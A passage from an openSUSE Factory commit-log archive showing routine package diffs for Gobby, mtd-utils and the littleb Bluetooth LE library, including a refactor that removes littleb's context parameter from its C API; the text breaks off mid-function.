-BuildRequires: pkgconfig(libgsasl) -BuildRequires: pkgconfig(libinfinity-0.6) -BuildRequires: pkgconfig(libxml++-2.6) -BuildRequires: pkgconfig(unique-1.0) -# For directory ownership: -BuildRequires: gnome-themes -Version: 0.5.0 -Release: 0 -Summary: Gobby collaborative editor (Infinote protocol) -License: GPL-2.0+ -Group: Productivity/Editors/Other -Source: %{name}-%{version}.tar.gz -# PATCH-FIX-UPSTREAM gobby-add-missing-return.patch zaitor(a)opensuse.org -- Add a missing return statement -Patch0: gobby-add-missing-return.patch -Url: http://gobby.0x539.de/ -BuildRoot: %{_tmppath}/%{name}-%{version}-build -Requires(post): update-alternatives -Requires(postun): update-alternatives # The build service fails to build the package because it doesn't really # understand Requires(post), so use PreReq too (see bnc#439232). %if %defined suse_version +# FIXME: use proper Requires(pre/post/preun/...) PreReq: update-alternatives %endif -Recommends: %{name}-lang %description -Gobby is a free collaborative editor. This means that it provides you -with the possibility to edit files simultaneously with other users over +This is a collaborative editor, which means that it provides +the possibility to edit files simultaneously with other users over a network. It supports multiple documents in one session. -The platforms on which you could use Gobby are so far Microsoft Windows, -Linux, Mac OS X and other Unix-like ones. -This is the latest version of Gobby, which is using the Infinote protocol. +This version of Gobby uses the Infinote protocol. %lang_package + %prep %setup -q -%patch0 -p1 %build +NOCONFIGURE=1 ./autogen.sh %configure \ --disable-scrollkeeper \ --with-gnome \ @@ -79,10 +78,10 @@ %else --with-gtk3 %endif -%{__make} %{?jobs:-j%jobs} +make %{?_smp_mflags} %install -%makeinstall +%make_install %find_lang gobby05 %{?no_lang_C} # For documentation. It's not versioned, but gobby 0.4 doesn't have such files, # so there's no conflict. @@ -90,42 +89,28 @@ %suse_update_desktop_file -N "Gobby" -G "Collaborative Editor" %{_versioned_name} X-SuSE-Core-Internet %fdupes %{buildroot} -%clean -rm -rf %{buildroot} - %post -# If the %{name} group is in automatic mode, then this will also switch all +# If the %%{name} group is in automatic mode, then this will also switch all # symlinks automatically update-alternatives --install %{_bindir}/%{name} %{name} %{_bindir}/%{name}-0.5 5 --slave %{_mandir}/man1/%{name}.1.gz %{name}.1.gz %{_mandir}/man1/%{name}-0.5.1.gz -%if 0%{?suse_version} > 1130 %desktop_database_post %icon_theme_cache_post %icon_theme_cache_post HighContrastLargePrint %icon_theme_cache_post HighContrastLargePrintInverse -%endif %postun # Note: we don't use "$1 -eq 0", to avoid issues if the package gets renamed if [ ! -f %{_bindir}/%{name}-0.5 ]; then - update-alternatives --remove %{name} %{_bindir}/%{name}-0.5 +update-alternatives --remove %{name} %{_bindir}/%{name}-0.5 fi -%if 0%{?suse_version} > 1130 %desktop_database_postun %icon_theme_cache_postun %icon_theme_cache_postun HighContrastLargePrint %icon_theme_cache_postun HighContrastLargePrintInverse -%endif - -%posttrans -# Workaround old bug in 11.1/11.2 packages that always removed the symlinks in -# %postun. Can be removed during 12.2 development. -if [ ! -f %{_bindir}/%{name} -a -f %{_bindir}/%{name}-0.5 ]; then - update-alternatives --install %{_bindir}/%{name} %{name} %{_bindir}/%{name}-0.5 5 --slave %{_mandir}/man1/%{name}.1.gz %{name}.1.gz %{_mandir}/man1/%{name}-0.5.1.gz -fi %files %defattr (-, root, root) -%doc AUTHORS COPYING ChangeLog NEWS +%doc AUTHORS COPYING %dir %{_datadir}/gnome/ %dir %{_datadir}/gnome/help/ %dir %{_datadir}/gnome/help/%{name}/ @@ -137,12 +122,14 @@ %{_datadir}/%{_versioned_name} %{_datadir}/applications/%{_versioned_name}.desktop %{_datadir}/icons/*/*/apps/%{_versioned_name}.* -%doc %{_mandir}/man1/*.* +%{_mandir}/man1/*%{ext_man} %dir %{_datadir}/appdata/ %{_datadir}/appdata/gobby-0.5.appdata.xml +%{_datadir}/glib-2.0/schemas/de.0x539.gobby.gschema.xml # FIXME: gnome-themes does not provide excluded directories yet. %exclude %{_datadir}/icons/HighContrast*/scalable/* %files lang -f gobby05.lang +%defattr(-,root,root) %changelog ++++++ _service ++++++ <services> <service name="tar_scm" mode="disabled"> <param name="url">https://github.com/gobby/gobby.git</param> <param name="scm">git</param> <param name="versionformat">0.5.1+%cd.%h</param> <param name="changesgenerate">enable</param> </service> <service name="recompress" mode="disabled"> <param name="file">*.tar</param> <param name="compression">xz</param> </service> <service name="set_version" mode="disabled"/> </services> ++++++ _servicedata ++++++ <servicedata> <service name="tar_scm"> <param name="url">https://github.com/gobby/gobby.git</param> <param name="changesrevision">e5c2d145d020e080c8612f80a3d123f3a024a13a</param></service></servicedata>

1 0

commit mtd-utils for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package mtd-utils for openSUSE:Factory checked in at 2017-08-28 15:33:22 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/mtd-utils (Old) and /work/SRC/openSUSE:Factory/.mtd-utils.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "mtd-utils" Mon Aug 28 15:33:22 2017 rev:4 rq:519097 version:2.0.1 Changes: -------- --- /work/SRC/openSUSE:Factory/mtd-utils/mtd-utils.changes 2017-02-22 13:56:20.764315120 +0100 +++ /work/SRC/openSUSE:Factory/.mtd-utils.new/mtd-utils.changes 2017-08-28 15:33:33.630458088 +0200 @@ -1,0 +2,10 @@ +Mon Aug 28 10:50:24 UTC 2017 - mpluskal(a)suse.com + +- Update to version 2.0.1: + * nandbiterrs: Add Erased Pages Bit Flip Test + * mkfs.ubifs: Add support for symlinks in device table + * nanddump: Add --skip-bad-blocks-to-start option + * nandwrite: Add --skip-bad-blocks-to-start option + * several fixes and internal cleanups + +------------------------------------------------------------------- Old: ---- mtd-utils-2.0.0.tar.bz2 mtd-utils-2.0.0.tar.bz2.asc New: ---- mtd-utils-2.0.1.tar.bz2 mtd-utils-2.0.1.tar.bz2.asc ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ mtd-utils.spec ++++++ --- /var/tmp/diff_new_pack.4BdBWb/_old 2017-08-28 15:33:34.746301208 +0200 +++ /var/tmp/diff_new_pack.4BdBWb/_new 2017-08-28 15:33:34.746301208 +0200 @@ -17,7 +17,7 @@ Name: mtd-utils -Version: 2.0.0 +Version: 2.0.1 Release: 0 Summary: Tools for maintaining Memory Technology Devices License: GPL-2.0+ @@ -49,7 +49,6 @@ %make_install %files -%defattr(-,root,root) %doc COPYING ubifs-utils/mkfs.ubifs/README %{_sbindir}/doc_loadbios %{_sbindir}/docfdisk ++++++ mtd-utils-2.0.0.tar.bz2 -> mtd-utils-2.0.1.tar.bz2 ++++++ ++++ 7989 lines of diff (skipped)

1 0

commit littleb for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package littleb for openSUSE:Factory checked in at 2017-08-28 15:33:18 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/littleb (Old) and /work/SRC/openSUSE:Factory/.littleb.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "littleb" Mon Aug 28 15:33:18 2017 rev:3 rq:519095 version:0.1.2 Changes: -------- --- /work/SRC/openSUSE:Factory/littleb/littleb.changes 2017-02-05 18:37:41.807588751 +0100 +++ /work/SRC/openSUSE:Factory/.littleb.new/littleb.changes 2017-08-28 15:33:25.931540506 +0200 @@ -1,0 +2,6 @@ +Mon Aug 28 10:38:48 UTC 2017 - mpluskal(a)suse.com + +- Update to version 0.1.2: + * Misc small fixes + +------------------------------------------------------------------- Old: ---- littleb-0.1.1.tar.gz New: ---- littleb-0.1.2.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ littleb.spec ++++++ --- /var/tmp/diff_new_pack.XQegGh/_old 2017-08-28 15:33:26.743426360 +0200 +++ /var/tmp/diff_new_pack.XQegGh/_new 2017-08-28 15:33:26.747425798 +0200 @@ -18,7 +18,7 @@ %define sover 0 Name: littleb -Version: 0.1.1 +Version: 0.1.2 Release: 0 Summary: Bluetooth Low Energy Library License: MIT @@ -27,7 +27,7 @@ Source: https://github.com/intel-iot-devkit/littleb/archive/v%{version}.tar.gz#/%{n… BuildRequires: cmake BuildRequires: gcc-c++ -BuildRequires: pkg-config +BuildRequires: pkgconfig BuildRequires: pkgconfig(libsystemd) >= 221 %description @@ -80,18 +80,15 @@ %postun -n lib%{name}%{sover} -p /sbin/ldconfig %files -n lib%{name}%{sover} -%defattr(-,root,root) %doc COPYING %{_libdir}/lib%{name}.so.%{sover}* %files devel -%defattr(-,root,root) %{_libdir}/lib%{name}.so %{_includedir}/%{name}.h %{_libdir}/pkgconfig/%{name}.pc %files examples -%defattr(-,root,root) %doc COPYING %{_datadir}/%{name} ++++++ littleb-0.1.1.tar.gz -> littleb-0.1.2.tar.gz ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/littleb-0.1.1/CMakeLists.txt new/littleb-0.1.2/CMakeLists.txt --- old/littleb-0.1.1/CMakeLists.txt 2016-08-24 21:35:01.000000000 +0200 +++ new/littleb-0.1.2/CMakeLists.txt 2017-08-08 15:49:35.000000000 +0200 @@ -31,7 +31,7 @@ git_describe (VERSION "--tags") if ("x_${VERSION}" STREQUAL "x_GIT-NOTFOUND" OR "x_${VERSION}" STREQUAL "x_HEAD-HASH-NOTFOUND" OR "x_${VERSION}" STREQUAL "x_-128-NOTFOUND") message (WARNING " - Install git to compile a production liblittleb!") - set (VERSION "v0.1.0") + set (VERSION "v0.1.2") endif () message (STATUS "INFO - liblittleb Version ${VERSION}") diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/littleb-0.1.1/api/littleb.h new/littleb-0.1.2/api/littleb.h --- old/littleb-0.1.1/api/littleb.h 2016-08-24 21:35:01.000000000 +0200 +++ new/littleb-0.1.2/api/littleb.h 2017-08-08 15:49:35.000000000 +0200 @@ -74,7 +74,6 @@ int services_size; /**< count of services in the device */ } lb_bl_device; -typedef struct bl_context* lb_context; /** * Initialize littleb. @@ -93,169 +92,135 @@ lb_result_t lb_destroy(); /** - * Create new littleb context to contain devices found - * - * @param ADD - * @return new lb_context or NULL if failed - */ -lb_context lb_context_new(); - -/** - * Free littleb context created with lb_context_new - * - * @param lb_context to be freed - * @return Result of operation - */ -lb_result_t lb_context_free(lb_context lb_ctx); - -/** * Populate internal list of bl devices found in a scan of specified length * - * @param lb_context to use * @param seconds to perform device scan * @return Result of operation */ -lb_result_t lb_get_bl_devices(lb_context lb_ctx, int seconds); +lb_result_t lb_get_bl_devices(int seconds); /** * Connect to a specific bluetooth device * * lb_bl_device can be found by name, path or address using lb_get_device functions * - * @param lb_context to use * @param lb_bl_device to connect to * @return Result of operation */ -lb_result_t lb_connect_device(lb_context lb_ctx, lb_bl_device* dev); +lb_result_t lb_connect_device(lb_bl_device* dev); /** * Disconnect from a specific bluetooth device * - * @param lb_context to use * @param lb_bl_device to disconnect from * @return Result of operation */ -lb_result_t lb_disconnect_device(lb_context lb_ctx, lb_bl_device* dev); +lb_result_t lb_disconnect_device(lb_bl_device* dev); /** * Pair with specific bluetooth device * - * @param lb_context to use * @param lb_bl_device to pair with * @return Result of operation */ -lb_result_t lb_pair_device(lb_context lb_ctx, lb_bl_device* dev); +lb_result_t lb_pair_device(lb_bl_device* dev); /** * Cancel pairing with specific bluetooth device * - * @param lb_context to use * @param lb_bl_device to cancel pair with * @return Result of operation */ -lb_result_t lb_unpair_device(lb_context lb_ctx, lb_bl_device* dev); +lb_result_t lb_unpair_device(lb_bl_device* dev); /** * Populate ble_char with characteristic found by using it's device path under dbus * - * @param lb_context to use * @param bl_dev to search the characteristic in * @param characteristic_path to search for * @param ble_char to populate with characteristic found * @return Result of operation */ -lb_result_t lb_get_ble_characteristic_by_characteristic_path(lb_context lb_ctx, - lb_bl_device* dev, +lb_result_t lb_get_ble_characteristic_by_characteristic_path(lb_bl_device* dev, const char* characteristic_path, lb_ble_char** ble_characteristic_ret); /** * Populate ble_char with characteristic found by using it's uuid * - * @param lb_context to use * @param bl_dev to search the characteristic in * @param uuid to search for * @param ble_char to populate with characteristic found * @return Result of operation */ -lb_result_t lb_get_ble_characteristic_by_uuid(lb_context lb_ctx, - lb_bl_device* dev, +lb_result_t lb_get_ble_characteristic_by_uuid(lb_bl_device* dev, const char* uuid, lb_ble_char** ble_characteristic_ret); /** * Populate ble_service with service found by using it's device path under dbus * - * @param lb_context to use * @param bl_dev to search the service in * @param service_path to search for * @param ble_service to populate with service found * @return Result of operation */ -lb_result_t lb_get_ble_service_by_service_path(lb_context lb_ctx, - lb_bl_device* dev, +lb_result_t lb_get_ble_service_by_service_path(lb_bl_device* dev, const char* service_path, lb_ble_service** ble_service_ret); /** * Populate ble_service with service found by using it's uuid * - * @param lb_context to use * @param bl_dev to search the service in * @param uuid to search for * @param ble_service to populate with service found * @return Result of operation */ -lb_result_t lb_get_ble_service_by_uuid(lb_context lb_ctx, - lb_bl_device* dev, +lb_result_t lb_get_ble_service_by_uuid(lb_bl_device* dev, const char* uuid, lb_ble_service** ble_service_ret); /** * Populate the BLE device with it's services * - * @param lb_context to use * @param bl_dev to scan services * @return Result of operation */ -lb_result_t lb_get_ble_device_services(lb_context lb_ctx, lb_bl_device* dev); +lb_result_t lb_get_ble_device_services(lb_bl_device* dev); /** * Get bluetooth device by using it's device path under dbus * - * @param lb_context to use * @param device_path to search for * @param lb_bl_device_ret to populate with the found device * @return Result of operation */ -lb_result_t lb_get_device_by_device_path(lb_context lb_ctx, const char* device_path, lb_bl_device** bl_device_ret); +lb_result_t lb_get_device_by_device_path(const char* device_path, lb_bl_device** bl_device_ret); /** * Get bluetooth device by searching for specific name * * Will return the first found device with the name specified * - * @param lb_context to use * @param name to search for * @param lb_bl_device_ret to populate with the found device * @return Result of operation */ -lb_result_t lb_get_device_by_device_name(lb_context lb_ctx, const char* name, lb_bl_device** bl_device_ret); +lb_result_t lb_get_device_by_device_name(const char* name, lb_bl_device** bl_device_ret); /** * Get bluetooth device by searching for specific address * - * @param lb_context to use * @param address to search for * @param lb_bl_device_ret to populate with the found device * @return Result of operation */ -lb_result_t lb_get_device_by_device_address(lb_context lb_ctx, const char* address, lb_bl_device** bl_device_ret); +lb_result_t lb_get_device_by_device_address(const char* address, lb_bl_device** bl_device_ret); /** * Write to a specific BLE device characteristic using it's uuid * - * @param lb_context to use * @param dev BLE device to search the characteristic in * @param uuid of the characteristic to write to * @param size of the uint8 array to be written @@ -263,12 +228,11 @@ * @return Result of operation */ lb_result_t -lb_write_to_characteristic(lb_context lb_ctx, lb_bl_device* dev, const char* uuid, int size, uint8_t* value); +lb_write_to_characteristic(lb_bl_device* dev, const char* uuid, int size, uint8_t* value); /** * Read from a specific BLE device characteristic using it's uuid * - * @param lb_context to use * @param dev BLE device to search the characteristic in * @param uuid of the characteristic to read from * @param size of the uint8 array that was read @@ -276,20 +240,18 @@ * @return Result of operation */ lb_result_t -lb_read_from_characteristic(lb_context lb_ctx, lb_bl_device* dev, const char* uuid, size_t* size, uint8_t** result); +lb_read_from_characteristic(lb_bl_device* dev, const char* uuid, size_t* size, uint8_t** result); /** * Register a callback function for an event of characteristic value change * - * @param lb_context to use * @param dev BLE device to search the characteristic in * @param uuid of the characteristic to read from * @param callback function to be called when char value changed * @param userdata to pass in the callback function * @return Result of operation */ -lb_result_t lb_register_characteristic_read_event(lb_context lb_ctx, - lb_bl_device* dev, +lb_result_t lb_register_characteristic_read_event(lb_bl_device* dev, const char* uuid, sd_bus_message_handler_t callback, void* userdata); diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/littleb-0.1.1/examples/hello_littleb.c new/littleb-0.1.2/examples/hello_littleb.c --- old/littleb-0.1.1/examples/hello_littleb.c 2016-08-24 21:35:01.000000000 +0200 +++ new/littleb-0.1.2/examples/hello_littleb.c 2017-08-08 15:49:35.000000000 +0200 @@ -62,13 +62,7 @@ exit(r); } - lb_context lb_ctx = lb_context_new(); - if (lb_ctx == NULL) { - fprintf(stderr, "ERROR: lb_context_new\n"); - exit(r); - } - - r = lb_get_bl_devices(lb_ctx, 5); + r = lb_get_bl_devices(5); if (r < 0) { fprintf(stderr, "ERROR: lb_get_bl_devices\n"); goto cleanup; @@ -76,25 +70,25 @@ // search for our specific device named "FIRMATA" lb_bl_device* firmata = NULL; - r = lb_get_device_by_device_name(lb_ctx, "FIRMATA", &firmata); + r = lb_get_device_by_device_name("FIRMATA", &firmata); if (r < 0) { fprintf(stderr, "ERROR: Device FIRMATA not found\n"); goto cleanup; } - r = lb_connect_device(lb_ctx, firmata); + r = lb_connect_device(firmata); if (r < 0) { fprintf(stderr, "ERROR: lb_connect_device\n"); goto cleanup; } - // r = lb_pair_device(lb_ctx, firmata); + // r = lb_pair_device(firmata); // if (r < 0) { // fprintf(stderr, "ERROR: lb_pair_device\n"); // exit(r); //} - r = lb_get_ble_device_services(lb_ctx, firmata); + r = lb_get_ble_device_services(firmata); if (r < 0) { fprintf(stderr, "ERROR: lb_get_ble_device_services\n"); goto cleanup; @@ -118,14 +112,14 @@ for (i = 0; i < 10; i++) { printf("."); fflush(stdout); - r = lb_write_to_characteristic(lb_ctx, firmata, "6e400002-b5a3-f393-e0a9-e50e24dcca9e", 3, led_on); + r = lb_write_to_characteristic(firmata, "6e400002-b5a3-f393-e0a9-e50e24dcca9e", 3, led_on); if (r < 0) { fprintf(stderr, "ERROR: lb_write_to_characteristic\n"); } usleep(1000000); printf("."); fflush(stdout); - r = lb_write_to_characteristic(lb_ctx, firmata, "6e400002-b5a3-f393-e0a9-e50e24dcca9e", 3, led_off); + r = lb_write_to_characteristic(firmata, "6e400002-b5a3-f393-e0a9-e50e24dcca9e", 3, led_off); if (r < 0) { fprintf(stderr, "ERROR: lb_write_to_characteristic\n"); } @@ -136,7 +130,7 @@ const char* userdata_test = "test"; r = - lb_register_characteristic_read_event(lb_ctx, firmata, "6e400003-b5a3-f393-e0a9-e50e24dcca9e", + lb_register_characteristic_read_event(firmata, "6e400003-b5a3-f393-e0a9-e50e24dcca9e", test_callback, (void*) userdata_test); if (r < 0) { fprintf(stderr, "ERROR: lb_register_characteristic_read_event\n"); @@ -147,7 +141,7 @@ printf("get_version\n"); fflush(stdout); uint8_t get_version[] = { 0xf0, 0x79, 0xf7 }; - r = lb_write_to_characteristic(lb_ctx, firmata, "6e400002-b5a3-f393-e0a9-e50e24dcca9e", 3, get_version); + r = lb_write_to_characteristic(firmata, "6e400002-b5a3-f393-e0a9-e50e24dcca9e", 3, get_version); if (r < 0) { fprintf(stderr, "ERROR: lb_write_to_characteristic\n"); } @@ -157,22 +151,17 @@ cleanup: - // r = lb_unpair_device(lb_ctx, firmata); + // r = lb_unpair_device(firmata); // if (r < 0) { // fprintf(stderr, "ERROR: lb_unpair_device\n"); // exit(r); //} - r = lb_disconnect_device(lb_ctx, firmata); + r = lb_disconnect_device(firmata); if (r < 0) { fprintf(stderr, "ERROR: lb_disconnect_device\n"); } - r = lb_context_free(lb_ctx); - if (r < 0) { - fprintf(stderr, "ERROR: lb_context_free\n"); - } - r = lb_destroy(); if (r < 0) { fprintf(stderr, "ERROR: lb_destroy\n"); diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/littleb-0.1.1/include/littleb_internal_types.h new/littleb-0.1.2/include/littleb_internal_types.h --- old/littleb-0.1.1/include/littleb_internal_types.h 2016-08-24 21:35:01.000000000 +0200 +++ new/littleb-0.1.2/include/littleb_internal_types.h 2017-08-08 15:49:35.000000000 +0200 @@ -43,6 +43,8 @@ int devices_size; /**< count of devices found*/ }; +typedef struct bl_context* lb_context; + typedef struct event_matches_callbacks { const char* event; sd_bus_message_handler_t* callback; diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/littleb-0.1.1/src/littleb.c new/littleb-0.1.2/src/littleb.c --- old/littleb-0.1.1/src/littleb.c 2016-08-24 21:35:01.000000000 +0200 +++ new/littleb-0.1.2/src/littleb.c 2017-08-08 15:49:35.000000000 +0200 @@ -28,6 +28,7 @@ static pthread_t event_thread; static event_matches_callbacks** events_matches_array = NULL; static uint event_arr_size = 0; +static lb_context lb_ctx = NULL; void* _run_event_loop(void* arg) @@ -74,9 +75,6 @@ const char* _convert_device_path_to_address(const char* address) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int i; const char* prefix = "dev_"; @@ -99,11 +97,8 @@ } bool -_is_bus_connected(lb_context lb_ctx) +_is_bus_connected() { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif if (lb_ctx->bus == NULL) { return false; } else { @@ -112,11 +107,8 @@ } lb_result_t -_get_root_objects(lb_context lb_ctx, const char** objects) +_get_root_objects(const char** objects) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r = 0, i = 0; const char* device_path; sd_bus_error error = SD_BUS_ERROR_NULL; @@ -208,11 +200,8 @@ } const char* -_get_device_name(lb_context lb_ctx, const char* device_path) +_get_device_name(const char* device_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif sd_bus_error error = SD_BUS_ERROR_NULL; int r; char* name; @@ -230,11 +219,8 @@ } const char* -_get_device_address(lb_context lb_ctx, const char* device_path) +_get_device_address(const char* device_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif sd_bus_error error = SD_BUS_ERROR_NULL; int r; char* address; @@ -253,11 +239,8 @@ } const char* -_get_service_uuid(lb_context lb_ctx, const char* service_path) +_get_service_uuid(const char* service_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif sd_bus_error error = SD_BUS_ERROR_NULL; int r; char* name; @@ -276,11 +259,8 @@ } const char* -_get_characteristic_uuid(lb_context lb_ctx, const char* characteristic_path) +_get_characteristic_uuid(const char* characteristic_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif sd_bus_error error = SD_BUS_ERROR_NULL; int r; char* name; @@ -300,11 +280,8 @@ } bool -_is_string_in_device_introspection(lb_context lb_ctx, const char* device_path, const char* str) +_is_string_in_device_introspection(const char* device_path, const char* str) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif sd_bus_error error = SD_BUS_ERROR_NULL; sd_bus_message* reply = NULL; @@ -345,31 +322,25 @@ } bool -_is_bl_device(lb_context lb_ctx, const char* device_path) +_is_bl_device(const char* device_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif - return _is_string_in_device_introspection(lb_ctx, device_path, BLUEZ_DEVICE); + return _is_string_in_device_introspection(device_path, BLUEZ_DEVICE); } bool -_is_ble_device(lb_context lb_ctx, const char* device_path) +_is_ble_device(const char* device_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif const char** objects; int i = 0, r = 0; bool result = false; - if (!_is_bl_device(lb_ctx, device_path)) { + if (!_is_bl_device(device_path)) { syslog(LOG_ERR, "%s: not a bl device", __FUNCTION__); return false; } lb_bl_device* device = NULL; - r = lb_get_device_by_device_path(lb_ctx, device_path, &device); + r = lb_get_device_by_device_path(device_path, &device); if (r < 0) { fprintf(stderr, "ERROR: Device %s not found\n", device_path); } @@ -383,7 +354,7 @@ return -LB_ERROR_MEMEORY_ALLOCATION; } - r = _get_root_objects(lb_ctx, objects); + r = _get_root_objects(objects); if (r < 0) { syslog(LOG_ERR, "%s: Error getting root objects", __FUNCTION__); return false; @@ -402,29 +373,20 @@ } bool -_is_ble_service(lb_context lb_ctx, const char* service_path) +_is_ble_service(const char* service_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif - return _is_string_in_device_introspection(lb_ctx, service_path, BLUEZ_GATT_SERVICE); + return _is_string_in_device_introspection(service_path, BLUEZ_GATT_SERVICE); } bool -_is_ble_characteristic(lb_context lb_ctx, const char* service_path) +_is_ble_characteristic(const char* service_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif - return _is_string_in_device_introspection(lb_ctx, service_path, BLUEZ_GATT_CHARACTERISTICS); + return _is_string_in_device_introspection(service_path, BLUEZ_GATT_CHARACTERISTICS); } bool -_is_service_primary(lb_context lb_ctx, const char* service_path) +_is_service_primary(const char* service_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif sd_bus_error error = SD_BUS_ERROR_NULL; int r; bool primary; @@ -444,11 +406,8 @@ } bool -_is_device_paired(lb_context lb_ctx, const char* device_path) +_is_device_paired(const char* device_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif sd_bus_error error = SD_BUS_ERROR_NULL; int r; bool paired; @@ -467,11 +426,8 @@ } lb_result_t -_add_new_characteristic(lb_context lb_ctx, lb_ble_service* service, const char* characteristic_path) +_add_new_characteristic(lb_ble_service* service, const char* characteristic_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int current_index = service->characteristics_size; if (service->characteristics_size == 0 || service->characteristics == NULL) { service->characteristics = (lb_ble_char**) malloc(sizeof(lb_ble_char*)); @@ -504,7 +460,7 @@ return -LB_ERROR_MEMEORY_ALLOCATION; } - const char* uuid = _get_characteristic_uuid(lb_ctx, characteristic_path); + const char* uuid = _get_characteristic_uuid(characteristic_path); if (uuid == NULL) { syslog(LOG_ERR, "%s: Error couldn't find characteristic uuid", __FUNCTION__); new_characteristic->uuid = strdup("null"); @@ -523,12 +479,9 @@ } lb_result_t -_add_new_service(lb_context lb_ctx, lb_bl_device* dev, const char* service_path) +_add_new_service(lb_bl_device* dev, const char* service_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif - if (!_is_ble_device(lb_ctx, dev->device_path)) { + if (!_is_ble_device(dev->device_path)) { syslog(LOG_ERR, "%s: not a ble device", __FUNCTION__); return -LB_ERROR_INVALID_DEVICE; } @@ -563,7 +516,7 @@ return -LB_ERROR_MEMEORY_ALLOCATION; } - const char* uuid = _get_service_uuid(lb_ctx, service_path); + const char* uuid = _get_service_uuid(service_path); if (uuid == NULL) { syslog(LOG_ERR, "%s: Error couldn't find service uuid", __FUNCTION__); new_service->uuid = strdup("null"); @@ -576,7 +529,7 @@ new_service->uuid = uuid; } - new_service->primary = _is_service_primary(lb_ctx, service_path); + new_service->primary = _is_service_primary(service_path); new_service->characteristics = NULL; new_service->characteristics_size = 0; @@ -587,11 +540,8 @@ } lb_result_t -_add_new_device(lb_context lb_ctx, const char* device_path) +_add_new_device(const char* device_path) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int current_index = lb_ctx->devices_size; if (lb_ctx->devices_size == 0 || lb_ctx->devices == NULL) { lb_ctx->devices = (lb_bl_device**) malloc(sizeof(lb_bl_device*)); @@ -623,7 +573,7 @@ return -LB_ERROR_MEMEORY_ALLOCATION; } - const char* name = _get_device_name(lb_ctx, device_path); + const char* name = _get_device_name(device_path); if (name == NULL) { syslog(LOG_ERR, "%s: Error couldn't find device name", __FUNCTION__); new_device->name = strdup("null"); @@ -636,7 +586,7 @@ } else { new_device->name = name; } - const char* address = _get_device_address(lb_ctx, device_path); + const char* address = _get_device_address(device_path); if (address == NULL) { syslog(LOG_ERR, "%s: Error couldn't find device address", __FUNCTION__); new_device->address = "null"; @@ -654,11 +604,8 @@ } lb_result_t -_scan_devices(lb_context lb_ctx, int seconds) +_scan_devices(int seconds) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r = 0; sd_bus_error error = SD_BUS_ERROR_NULL; @@ -693,11 +640,8 @@ } lb_result_t -_open_system_bus(lb_context lb_ctx) +_open_system_bus() { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r; /* Connect to the system bus */ @@ -710,86 +654,45 @@ } lb_result_t -_close_system_bus(lb_context lb_ctx) +_close_system_bus() { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif sd_bus_unref(lb_ctx->bus); return LB_SUCCESS; } lb_result_t -lb_init() -{ -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif - return LB_SUCCESS; -} - -lb_result_t -lb_destroy() -{ -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif - int i, r; - - pthread_cancel(event_thread); - pthread_join(event_thread, NULL); - - r = sd_event_exit(event, SIGINT); - if (r < 0) { - syslog(LOG_ERR, "%s: failed to stop event loop", __FUNCTION__); - } - sd_event_unref(event); - - if (events_matches_array != NULL) { - for (i = 0; i < event_arr_size; i++) { - free(events_matches_array[i]); - } - free(events_matches_array); - } - - return LB_SUCCESS; -} - -lb_context lb_context_new() { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r = 0; - lb_context new_context; - new_context = (lb_context) malloc(sizeof(struct bl_context)); - if (new_context == NULL) { + if (lb_ctx != NULL) { + syslog(LOG_ERR, "%s: Context already initialized", __FUNCTION__); + return -LB_ERROR_INVALID_CONTEXT; + } + + lb_ctx = (lb_context) malloc(sizeof(struct bl_context)); + if (lb_ctx == NULL) { syslog(LOG_ERR, "%s: Error allocating memory for lb_context", __FUNCTION__); - return NULL; + return -LB_ERROR_INVALID_CONTEXT; } - new_context->bus = NULL; - new_context->devices = NULL; - new_context->devices_size = 0; + lb_ctx->bus = NULL; + lb_ctx->devices = NULL; + lb_ctx->devices_size = 0; - r = _open_system_bus(new_context); + r = 